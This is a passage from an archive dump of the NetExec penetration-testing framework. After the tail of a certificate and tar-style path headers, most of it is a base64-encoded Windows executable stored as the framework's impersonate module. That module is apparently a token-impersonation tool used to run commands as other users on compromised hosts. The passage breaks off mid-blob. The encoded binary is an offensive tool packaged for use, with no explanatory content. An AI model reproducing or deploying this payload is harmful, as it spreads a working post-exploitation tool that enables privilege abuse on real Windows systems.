p9Rt+mUDiWOQJWi0W6VAhK72wsJG5DnRdf5yXjbsY065iA4Q5UfhQd7TsR3q4EkD 5ziOrKiuB5T3PR48aE/Cpg0aTGpx05OEVG6un1xwUpT6d6j5qP2IELaCG446ZZIO 0BrvUoOTwYCV6UhhV1F3xirVFpUwTtp8Ms/fst4vSX9/6PgyBd09icB+O8t9LhXG b6FMHKpKOOkRQztqJR3ipMlW6Ceslwqs5CBRowbySi3C4kpEplM6hbVTelzwP6U= -----END CERTIFICATE----- NetExec-1.5.1/nxc/data/impersonate_module/000077500000000000000000000000001514706431700204555ustar00rootroot00000000000000NetExec-1.5.1/nxc/data/impersonate_module/impersonate.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